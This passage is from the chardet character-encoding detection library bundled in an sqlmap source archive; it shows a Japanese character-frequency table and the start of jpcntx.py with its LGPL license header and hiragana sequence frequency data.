7645,4586,2902,7646,7647,3227,5022,7648,4587,7649,4284,7650,7651,7652,4588,2284, # 7488 7653,5023,7654,7655,7656,4589,5024,3802,7657,7658,5025,3508,4590,7659,7660,7661, # 7504 1969,5026,7662,7663,3684,1821,2688,7664,2028,2509,4285,7665,2823,1841,7666,2689, # 7520 3114,7667,3917,4085,2160,5027,5028,2972,7668,5029,7669,7670,7671,3593,4086,7672, # 7536 4591,4087,5030,3803,7673,7674,7675,7676,7677,7678,7679,4286,2366,4592,4593,3067, # 7552 2328,7680,7681,4594,3594,3918,2029,4287,7682,5031,3919,3370,4288,4595,2856,7683, # 7568 3509,7684,7685,5032,5033,7686,7687,3804,2784,7688,7689,7690,7691,3371,7692,7693, # 7584 2877,5034,7694,7695,3920,4289,4088,7696,7697,7698,5035,7699,5036,4290,5037,5038, # 7600 5039,7700,7701,7702,5040,5041,3228,7703,1760,7704,5042,3229,4596,2106,4089,7705, # 7616 4597,2824,5043,2107,3372,7706,4291,4090,5044,7707,4091,7708,5045,3025,3805,4598, # 7632 4292,4293,4294,3373,7709,4599,7710,5046,7711,7712,5047,5048,3806,7713,7714,7715, # 7648 5049,7716,7717,7718,7719,4600,5050,7720,7721,7722,5051,7723,4295,3429,7724,7725, # 7664 7726,7727,3921,7728,3292,5052,4092,7729,7730,7731,7732,7733,7734,7735,5053,5054, # 7680 7736,7737,7738,7739,3922,3685,7740,7741,7742,7743,2635,5055,7744,5056,4601,7745, # 7696 7746,2560,7747,7748,7749,7750,3923,7751,7752,7753,7754,7755,4296,2903,7756,7757, # 7712 7758,7759,7760,3924,7761,5057,4297,7762,7763,5058,4298,7764,4093,7765,7766,5059, # 7728 3925,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,3595,7777,4299,5060,4094, # 7744 7778,3293,5061,7779,7780,4300,7781,7782,4602,7783,3596,7784,7785,3430,2367,7786, # 7760 3164,5062,5063,4301,7787,7788,4095,5064,5065,7789,3374,3115,7790,7791,7792,7793, # 7776 7794,7795,7796,3597,4603,7797,7798,3686,3116,3807,5066,7799,7800,5067,7801,7802, # 7792 4604,4302,5068,4303,4096,7803,7804,3294,7805,7806,5069,4605,2690,7807,3026,7808, # 7808 7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824, # 7824 7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7840 7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855,7856, # 7856 7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871,7872, # 7872 7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887,7888, # 7888 7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903,7904, # 7904 7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919,7920, # 7920 7921,7922,7923,7924,3926,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, # 7936 7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, # 7952 7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, # 7968 7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, # 7984 7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, # 8000 8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, # 8016 8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, # 8032 8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, # 8048 8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, # 8064 8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, # 8080 8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, # 8096 8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, # 8112 8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, # 8128 8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, # 8144 8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, # 8160 8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, # 8176 8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, # 8192 8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, # 8208 8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, # 8224 8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, # 8240 8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, # 8256 8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271) # 8272 # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/jpcntx.py000066400000000000000000000456241326012263700205140ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .compat import wrap_ord NUM_OF_CATEGORY = 6 DONT_KNOW = -1 ENOUGH_REL_THRESHOLD = 100 MAX_REL_THRESHOLD = 1000 MINIMUM_DATA_THRESHOLD = 4 # This is hiragana 2-char sequence table, the number in each cell represents its frequency category jp2CharContext = ( (0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1), (2,4,0,4,0,3,0,4,0,3,4,4,4,2,4,3,3,4,3,2,3,3,4,2,3,3,3,2,4,1,4,3,3,1,5,4,3,4,3,4,3,5,3,0,3,5,4,2,0,3,1,0,3,3,0,3,3,0,1,1,0,4,3,0,3,3,0,4,0,2,0,3,5,5,5,5,4,0,4,1,0,3,4), (0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2), (0,4,0,5,0,5,0,4,0,4,5,4,4,3,5,3,5,1,5,3,4,3,4,4,3,4,3,3,4,3,5,4,4,3,5,5,3,5,5,5,3,5,5,3,4,5,5,3,1,3,2,0,3,4,0,4,2,0,4,2,1,5,3,2,3,5,0,4,0,2,0,5,4,4,5,4,5,0,4,0,0,4,4), (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), (0,3,0,4,0,3,0,3,0,4,5,4,3,3,3,3,4,3,5,4,4,3,5,4,4,3,4,3,4,4,4,4,5,3,4,4,3,4,5,5,4,5,5,1,4,5,4,3,0,3,3,1,3,3,0,4,4,0,3,3,1,5,3,3,3,5,0,4,0,3,0,4,4,3,4,3,3,0,4,1,1,3,4), (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), (0,4,0,3,0,3,0,4,0,3,4,4,3,2,2,1,2,1,3,1,3,3,3,3,3,4,3,1,3,3,5,3,3,0,4,3,0,5,4,3,3,5,4,4,3,4,4,5,0,1,2,0,1,2,0,2,2,0,1,0,0,5,2,2,1,4,0,3,0,1,0,4,4,3,5,4,3,0,2,1,0,4,3), (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), (0,3,0,5,0,4,0,2,1,4,4,2,4,1,4,2,4,2,4,3,3,3,4,3,3,3,3,1,4,2,3,3,3,1,4,4,1,1,1,4,3,3,2,0,2,4,3,2,0,3,3,0,3,1,1,0,0,0,3,3,0,4,2,2,3,4,0,4,0,3,0,4,4,5,3,4,4,0,3,0,0,1,4), (1,4,0,4,0,4,0,4,0,3,5,4,4,3,4,3,5,4,3,3,4,3,5,4,4,4,4,3,4,2,4,3,3,1,5,4,3,2,4,5,4,5,5,4,4,5,4,4,0,3,2,2,3,3,0,4,3,1,3,2,1,4,3,3,4,5,0,3,0,2,0,4,5,5,4,5,4,0,4,0,0,5,4), (0,5,0,5,0,4,0,3,0,4,4,3,4,3,3,3,4,0,4,4,4,3,4,3,4,3,3,1,4,2,4,3,4,0,5,4,1,4,5,4,4,5,3,2,4,3,4,3,2,4,1,3,3,3,2,3,2,0,4,3,3,4,3,3,3,4,0,4,0,3,0,4,5,4,4,4,3,0,4,1,0,1,3), (0,3,1,4,0,3,0,2,0,3,4,4,3,1,4,2,3,3,4,3,4,3,4,3,4,4,3,2,3,1,5,4,4,1,4,4,3,5,4,4,3,5,5,4,3,4,4,3,1,2,3,1,2,2,0,3,2,0,3,1,0,5,3,3,3,4,3,3,3,3,4,4,4,4,5,4,2,0,3,3,2,4,3), (0,2,0,3,0,1,0,1,0,0,3,2,0,0,2,0,1,0,2,1,3,3,3,1,2,3,1,0,1,0,4,2,1,1,3,3,0,4,3,3,1,4,3,3,0,3,3,2,0,0,0,0,1,0,0,2,0,0,0,0,0,4,1,0,2,3,2,2,2,1,3,3,3,4,4,3,2,0,3,1,0,3,3), (0,4,0,4,0,3,0,3,0,4,4,4,3,3,3,3,3,3,4,3,4,2,4,3,4,3,3,2,4,3,4,5,4,1,4,5,3,5,4,5,3,5,4,0,3,5,5,3,1,3,3,2,2,3,0,3,4,1,3,3,2,4,3,3,3,4,0,4,0,3,0,4,5,4,4,5,3,0,4,1,0,3,4), (0,2,0,3,0,3,0,0,0,2,2,2,1,0,1,0,0,0,3,0,3,0,3,0,1,3,1,0,3,1,3,3,3,1,3,3,3,0,1,3,1,3,4,0,0,3,1,1,0,3,2,0,0,0,0,1,3,0,1,0,0,3,3,2,0,3,0,0,0,0,0,3,4,3,4,3,3,0,3,0,0,2,3), (2,3,0,3,0,2,0,1,0,3,3,4,3,1,3,1,1,1,3,1,4,3,4,3,3,3,0,0,3,1,5,4,3,1,4,3,2,5,5,4,4,4,4,3,3,4,4,4,0,2,1,1,3,2,0,1,2,0,0,1,0,4,1,3,3,3,0,3,0,1,0,4,4,4,5,5,3,0,2,0,0,4,4), (0,2,0,1,0,3,1,3,0,2,3,3,3,0,3,1,0,0,3,0,3,2,3,1,3,2,1,1,0,0,4,2,1,0,2,3,1,4,3,2,0,4,4,3,1,3,1,3,0,1,0,0,1,0,0,0,1,0,0,0,0,4,1,1,1,2,0,3,0,0,0,3,4,2,4,3,2,0,1,0,0,3,3), (0,1,0,4,0,5,0,4,0,2,4,4,2,3,3,2,3,3,5,3,3,3,4,3,4,2,3,0,4,3,3,3,4,1,4,3,2,1,5,5,3,4,5,1,3,5,4,2,0,3,3,0,1,3,0,4,2,0,1,3,1,4,3,3,3,3,0,3,0,1,0,3,4,4,4,5,5,0,3,0,1,4,5), (0,2,0,3,0,3,0,0,0,2,3,1,3,0,4,0,1,1,3,0,3,4,3,2,3,1,0,3,3,2,3,1,3,0,2,3,0,2,1,4,1,2,2,0,0,3,3,0,0,2,0,0,0,1,0,0,0,0,2,2,0,3,2,1,3,3,0,2,0,2,0,0,3,3,1,2,4,0,3,0,2,2,3), (2,4,0,5,0,4,0,4,0,2,4,4,4,3,4,3,3,3,1,2,4,3,4,3,4,4,5,0,3,3,3,3,2,0,4,3,1,4,3,4,1,4,4,3,3,4,4,3,1,2,3,0,4,2,0,4,1,0,3,3,0,4,3,3,3,4,0,4,0,2,0,3,5,3,4,5,2,0,3,0,0,4,5), (0,3,0,4,0,1,0,1,0,1,3,2,2,1,3,0,3,0,2,0,2,0,3,0,2,0,0,0,1,0,1,1,0,0,3,1,0,0,0,4,0,3,1,0,2,1,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,4,2,2,3,1,0,3,0,0,0,1,4,4,4,3,0,0,4,0,0,1,4), (1,4,1,5,0,3,0,3,0,4,5,4,4,3,5,3,3,4,4,3,4,1,3,3,3,3,2,1,4,1,5,4,3,1,4,4,3,5,4,4,3,5,4,3,3,4,4,4,0,3,3,1,2,3,0,3,1,0,3,3,0,5,4,4,4,4,4,4,3,3,5,4,4,3,3,5,4,0,3,2,0,4,4), (0,2,0,3,0,1,0,0,0,1,3,3,3,2,4,1,3,0,3,1,3,0,2,2,1,1,0,0,2,0,4,3,1,0,4,3,0,4,4,4,1,4,3,1,1,3,3,1,0,2,0,0,1,3,0,0,0,0,2,0,0,4,3,2,4,3,5,4,3,3,3,4,3,3,4,3,3,0,2,1,0,3,3), (0,2,0,4,0,3,0,2,0,2,5,5,3,4,4,4,4,1,4,3,3,0,4,3,4,3,1,3,3,2,4,3,0,3,4,3,0,3,4,4,2,4,4,0,4,5,3,3,2,2,1,1,1,2,0,1,5,0,3,3,2,4,3,3,3,4,0,3,0,2,0,4,4,3,5,5,0,0,3,0,2,3,3), (0,3,0,4,0,3,0,1,0,3,4,3,3,1,3,3,3,0,3,1,3,0,4,3,3,1,1,0,3,0,3,3,0,0,4,4,0,1,5,4,3,3,5,0,3,3,4,3,0,2,0,1,1,1,0,1,3,0,1,2,1,3,3,2,3,3,0,3,0,1,0,1,3,3,4,4,1,0,1,2,2,1,3), (0,1,0,4,0,4,0,3,0,1,3,3,3,2,3,1,1,0,3,0,3,3,4,3,2,4,2,0,1,0,4,3,2,0,4,3,0,5,3,3,2,4,4,4,3,3,3,4,0,1,3,0,0,1,0,0,1,0,0,0,0,4,2,3,3,3,0,3,0,0,0,4,4,4,5,3,2,0,3,3,0,3,5), (0,2,0,3,0,0,0,3,0,1,3,0,2,0,0,0,1,0,3,1,1,3,3,0,0,3,0,0,3,0,2,3,1,0,3,1,0,3,3,2,0,4,2,2,0,2,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,2,1,2,0,1,0,1,0,0,0,1,3,1,2,0,0,0,1,0,0,1,4), (0,3,0,3,0,5,0,1,0,2,4,3,1,3,3,2,1,1,5,2,1,0,5,1,2,0,0,0,3,3,2,2,3,2,4,3,0,0,3,3,1,3,3,0,2,5,3,4,0,3,3,0,1,2,0,2,2,0,3,2,0,2,2,3,3,3,0,2,0,1,0,3,4,4,2,5,4,0,3,0,0,3,5), (0,3,0,3,0,3,0,1,0,3,3,3,3,0,3,0,2,0,2,1,1,0,2,0,1,0,0,0,2,1,0,0,1,0,3,2,0,0,3,3,1,2,3,1,0,3,3,0,0,1,0,0,0,0,0,2,0,0,0,0,0,2,3,1,2,3,0,3,0,1,0,3,2,1,0,4,3,0,1,1,0,3,3), (0,4,0,5,0,3,0,3,0,4,5,5,4,3,5,3,4,3,5,3,3,2,5,3,4,4,4,3,4,3,4,5,5,3,4,4,3,4,4,5,4,4,4,3,4,5,5,4,2,3,4,2,3,4,0,3,3,1,4,3,2,4,3,3,5,5,0,3,0,3,0,5,5,5,5,4,4,0,4,0,1,4,4), (0,4,0,4,0,3,0,3,0,3,5,4,4,2,3,2,5,1,3,2,5,1,4,2,3,2,3,3,4,3,3,3,3,2,5,4,1,3,3,5,3,4,4,0,4,4,3,1,1,3,1,0,2,3,0,2,3,0,3,0,0,4,3,1,3,4,0,3,0,2,0,4,4,4,3,4,5,0,4,0,0,3,4), (0,3,0,3,0,3,1,2,0,3,4,4,3,3,3,0,2,2,4,3,3,1,3,3,3,1,1,0,3,1,4,3,2,3,4,4,2,4,4,4,3,4,4,3,2,4,4,3,1,3,3,1,3,3,0,4,1,0,2,2,1,4,3,2,3,3,5,4,3,3,5,4,4,3,3,0,4,0,3,2,2,4,4), (0,2,0,1,0,0,0,0,0,1,2,1,3,0,0,0,0,0,2,0,1,2,1,0,0,1,0,0,0,0,3,0,0,1,0,1,1,3,1,0,0,0,1,1,0,1,1,0,0,0,0,0,2,0,0,0,0,0,0,0,0,1,1,2,2,0,3,4,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1), (0,1,0,0,0,1,0,0,0,0,4,0,4,1,4,0,3,0,4,0,3,0,4,0,3,0,3,0,4,1,5,1,4,0,0,3,0,5,0,5,2,0,1,0,0,0,2,1,4,0,1,3,0,0,3,0,0,3,1,1,4,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0), (1,4,0,5,0,3,0,2,0,3,5,4,4,3,4,3,5,3,4,3,3,0,4,3,3,3,3,3,3,2,4,4,3,1,3,4,4,5,4,4,3,4,4,1,3,5,4,3,3,3,1,2,2,3,3,1,3,1,3,3,3,5,3,3,4,5,0,3,0,3,0,3,4,3,4,4,3,0,3,0,2,4,3), (0,1,0,4,0,0,0,0,0,1,4,0,4,1,4,2,4,0,3,0,1,0,1,0,0,0,0,0,2,0,3,1,1,1,0,3,0,0,0,1,2,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,3,0,0,0,0,3,2,0,2,2,0,1,0,0,0,2,3,2,3,3,0,0,0,0,2,1,0), (0,5,1,5,0,3,0,3,0,5,4,4,5,1,5,3,3,0,4,3,4,3,5,3,4,3,3,2,4,3,4,3,3,0,3,3,1,4,4,3,4,4,4,3,4,5,5,3,2,3,1,1,3,3,1,3,1,1,3,3,2,4,5,3,3,5,0,4,0,3,0,4,4,3,5,3,3,0,3,4,0,4,3), (0,5,0,5,0,3,0,2,0,4,4,3,5,2,4,3,3,3,4,4,4,3,5,3,5,3,3,1,4,0,4,3,3,0,3,3,0,4,4,4,4,5,4,3,3,5,5,3,2,3,1,2,3,2,0,1,0,0,3,2,2,4,4,3,1,5,0,4,0,3,0,4,3,1,3,2,1,0,3,3,0,3,3), (0,4,0,5,0,5,0,4,0,4,5,5,5,3,4,3,3,2,5,4,4,3,5,3,5,3,4,0,4,3,4,4,3,2,4,4,3,4,5,4,4,5,5,0,3,5,5,4,1,3,3,2,3,3,1,3,1,0,4,3,1,4,4,3,4,5,0,4,0,2,0,4,3,4,4,3,3,0,4,0,0,5,5), (0,4,0,4,0,5,0,1,1,3,3,4,4,3,4,1,3,0,5,1,3,0,3,1,3,1,1,0,3,0,3,3,4,0,4,3,0,4,4,4,3,4,4,0,3,5,4,1,0,3,0,0,2,3,0,3,1,0,3,1,0,3,2,1,3,5,0,3,0,1,0,3,2,3,3,4,4,0,2,2,0,4,4), (2,4,0,5,0,4,0,3,0,4,5,5,4,3,5,3,5,3,5,3,5,2,5,3,4,3,3,4,3,4,5,3,2,1,5,4,3,2,3,4,5,3,4,1,2,5,4,3,0,3,3,0,3,2,0,2,3,0,4,1,0,3,4,3,3,5,0,3,0,1,0,4,5,5,5,4,3,0,4,2,0,3,5), (0,5,0,4,0,4,0,2,0,5,4,3,4,3,4,3,3,3,4,3,4,2,5,3,5,3,4,1,4,3,4,4,4,0,3,5,0,4,4,4,4,5,3,1,3,4,5,3,3,3,3,3,3,3,0,2,2,0,3,3,2,4,3,3,3,5,3,4,1,3,3,5,3,2,0,0,0,0,4,3,1,3,3), (0,1,0,3,0,3,0,1,0,1,3,3,3,2,3,3,3,0,3,0,0,0,3,1,3,0,0,0,2,2,2,3,0,0,3,2,0,1,2,4,1,3,3,0,0,3,3,3,0,1,0,0,2,1,0,0,3,0,3,1,0,3,0,0,1,3,0,2,0,1,0,3,3,1,3,3,0,0,1,1,0,3,3), (0,2,0,3,0,2,1,4,0,2,2,3,1,1,3,1,1,0,2,0,3,1,2,3,1,3,0,0,1,0,4,3,2,3,3,3,1,4,2,3,3,3,3,1,0,3,1,4,0,1,1,0,1,2,0,1,1,0,1,1,0,3,1,3,2,2,0,1,0,0,0,2,3,3,3,1,0,0,0,0,0,2,3), (0,5,0,4,0,5,0,2,0,4,5,5,3,3,4,3,3,1,5,4,4,2,4,4,4,3,4,2,4,3,5,5,4,3,3,4,3,3,5,5,4,5,5,1,3,4,5,3,1,4,3,1,3,3,0,3,3,1,4,3,1,4,5,3,3,5,0,4,0,3,0,5,3,3,1,4,3,0,4,0,1,5,3), (0,5,0,5,0,4,0,2,0,4,4,3,4,3,3,3,3,3,5,4,4,4,4,4,4,5,3,3,5,2,4,4,4,3,4,4,3,3,4,4,5,5,3,3,4,3,4,3,3,4,3,3,3,3,1,2,2,1,4,3,3,5,4,4,3,4,0,4,0,3,0,4,4,4,4,4,1,0,4,2,0,2,4), (0,4,0,4,0,3,0,1,0,3,5,2,3,0,3,0,2,1,4,2,3,3,4,1,4,3,3,2,4,1,3,3,3,0,3,3,0,0,3,3,3,5,3,3,3,3,3,2,0,2,0,0,2,0,0,2,0,0,1,0,0,3,1,2,2,3,0,3,0,2,0,4,4,3,3,4,1,0,3,0,0,2,4), (0,0,0,4,0,0,0,0,0,0,1,0,1,0,2,0,0,0,0,0,1,0,2,0,1,0,0,0,0,0,3,1,3,0,3,2,0,0,0,1,0,3,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,4,0,2,0,0,0,0,0,0,2), (0,2,1,3,0,2,0,2,0,3,3,3,3,1,3,1,3,3,3,3,3,3,4,2,2,1,2,1,4,0,4,3,1,3,3,3,2,4,3,5,4,3,3,3,3,3,3,3,0,1,3,0,2,0,0,1,0,0,1,0,0,4,2,0,2,3,0,3,3,0,3,3,4,2,3,1,4,0,1,2,0,2,3), (0,3,0,3,0,1,0,3,0,2,3,3,3,0,3,1,2,0,3,3,2,3,3,2,3,2,3,1,3,0,4,3,2,0,3,3,1,4,3,3,2,3,4,3,1,3,3,1,1,0,1,1,0,1,0,1,0,1,0,0,0,4,1,1,0,3,0,3,1,0,2,3,3,3,3,3,1,0,0,2,0,3,3), (0,0,0,0,0,0,0,0,0,0,3,0,2,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,3,0,3,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,2,0,2,3,0,0,0,0,0,0,0,0,3), (0,2,0,3,1,3,0,3,0,2,3,3,3,1,3,1,3,1,3,1,3,3,3,1,3,0,2,3,1,1,4,3,3,2,3,3,1,2,2,4,1,3,3,0,1,4,2,3,0,1,3,0,3,0,0,1,3,0,2,0,0,3,3,2,1,3,0,3,0,2,0,3,4,4,4,3,1,0,3,0,0,3,3), (0,2,0,1,0,2,0,0,0,1,3,2,2,1,3,0,1,1,3,0,3,2,3,1,2,0,2,0,1,1,3,3,3,0,3,3,1,1,2,3,2,3,3,1,2,3,2,0,0,1,0,0,0,0,0,0,3,0,1,0,0,2,1,2,1,3,0,3,0,0,0,3,4,4,4,3,2,0,2,0,0,2,4), (0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,2,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,3,1,0,0,0,0,0,0,0,3), (0,3,0,3,0,2,0,3,0,3,3,3,2,3,2,2,2,0,3,1,3,3,3,2,3,3,0,0,3,0,3,2,2,0,2,3,1,4,3,4,3,3,2,3,1,5,4,4,0,3,1,2,1,3,0,3,1,1,2,0,2,3,1,3,1,3,0,3,0,1,0,3,3,4,4,2,1,0,2,1,0,2,4), (0,1,0,3,0,1,0,2,0,1,4,2,5,1,4,0,2,0,2,1,3,1,4,0,2,1,0,0,2,1,4,1,1,0,3,3,0,5,1,3,2,3,3,1,0,3,2,3,0,1,0,0,0,0,0,0,1,0,0,0,0,4,0,1,0,3,0,2,0,1,0,3,3,3,4,3,3,0,0,0,0,2,3), (0,0,0,1,0,0,0,0,0,0,2,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,1,0,0,1,0,0,0,0,0,3), (0,1,0,3,0,4,0,3,0,2,4,3,1,0,3,2,2,1,3,1,2,2,3,1,1,1,2,1,3,0,1,2,0,1,3,2,1,3,0,5,5,1,0,0,1,3,2,1,0,3,0,0,1,0,0,0,0,0,3,4,0,1,1,1,3,2,0,2,0,1,0,2,3,3,1,2,3,0,1,0,1,0,4), (0,0,0,1,0,3,0,3,0,2,2,1,0,0,4,0,3,0,3,1,3,0,3,0,3,0,1,0,3,0,3,1,3,0,3,3,0,0,1,2,1,1,1,0,1,2,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,2,2,1,2,0,0,2,0,0,0,0,2,3,3,3,3,0,0,0,0,1,4), (0,0,0,3,0,3,0,0,0,0,3,1,1,0,3,0,1,0,2,0,1,0,0,0,0,0,0,0,1,0,3,0,2,0,2,3,0,0,2,2,3,1,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,2,3), (2,4,0,5,0,5,0,4,0,3,4,3,3,3,4,3,3,3,4,3,4,4,5,4,5,5,5,2,3,0,5,5,4,1,5,4,3,1,5,4,3,4,4,3,3,4,3,3,0,3,2,0,2,3,0,3,0,0,3,3,0,5,3,2,3,3,0,3,0,3,0,3,4,5,4,5,3,0,4,3,0,3,4), (0,3,0,3,0,3,0,3,0,3,3,4,3,2,3,2,3,0,4,3,3,3,3,3,3,3,3,0,3,2,4,3,3,1,3,4,3,4,4,4,3,4,4,3,2,4,4,1,0,2,0,0,1,1,0,2,0,0,3,1,0,5,3,2,1,3,0,3,0,1,2,4,3,2,4,3,3,0,3,2,0,4,4), (0,3,0,3,0,1,0,0,0,1,4,3,3,2,3,1,3,1,4,2,3,2,4,2,3,4,3,0,2,2,3,3,3,0,3,3,3,0,3,4,1,3,3,0,3,4,3,3,0,1,1,0,1,0,0,0,4,0,3,0,0,3,1,2,1,3,0,4,0,1,0,4,3,3,4,3,3,0,2,0,0,3,3), (0,3,0,4,0,1,0,3,0,3,4,3,3,0,3,3,3,1,3,1,3,3,4,3,3,3,0,0,3,1,5,3,3,1,3,3,2,5,4,3,3,4,5,3,2,5,3,4,0,1,0,0,0,0,0,2,0,0,1,1,0,4,2,2,1,3,0,3,0,2,0,4,4,3,5,3,2,0,1,1,0,3,4), (0,5,0,4,0,5,0,2,0,4,4,3,3,2,3,3,3,1,4,3,4,1,5,3,4,3,4,0,4,2,4,3,4,1,5,4,0,4,4,4,4,5,4,1,3,5,4,2,1,4,1,1,3,2,0,3,1,0,3,2,1,4,3,3,3,4,0,4,0,3,0,4,4,4,3,3,3,0,4,2,0,3,4), (1,4,0,4,0,3,0,1,0,3,3,3,1,1,3,3,2,2,3,3,1,0,3,2,2,1,2,0,3,1,2,1,2,0,3,2,0,2,2,3,3,4,3,0,3,3,1,2,0,1,1,3,1,2,0,0,3,0,1,1,0,3,2,2,3,3,0,3,0,0,0,2,3,3,4,3,3,0,1,0,0,1,4), (0,4,0,4,0,4,0,0,0,3,4,4,3,1,4,2,3,2,3,3,3,1,4,3,4,0,3,0,4,2,3,3,2,2,5,4,2,1,3,4,3,4,3,1,3,3,4,2,0,2,1,0,3,3,0,0,2,0,3,1,0,4,4,3,4,3,0,4,0,1,0,2,4,4,4,4,4,0,3,2,0,3,3), (0,0,0,1,0,4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,3,2,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,2), (0,2,0,3,0,4,0,4,0,1,3,3,3,0,4,0,2,1,2,1,1,1,2,0,3,1,1,0,1,0,3,1,0,0,3,3,2,0,1,1,0,0,0,0,0,1,0,2,0,2,2,0,3,1,0,0,1,0,1,1,0,1,2,0,3,0,0,0,0,1,0,0,3,3,4,3,1,0,1,0,3,0,2), 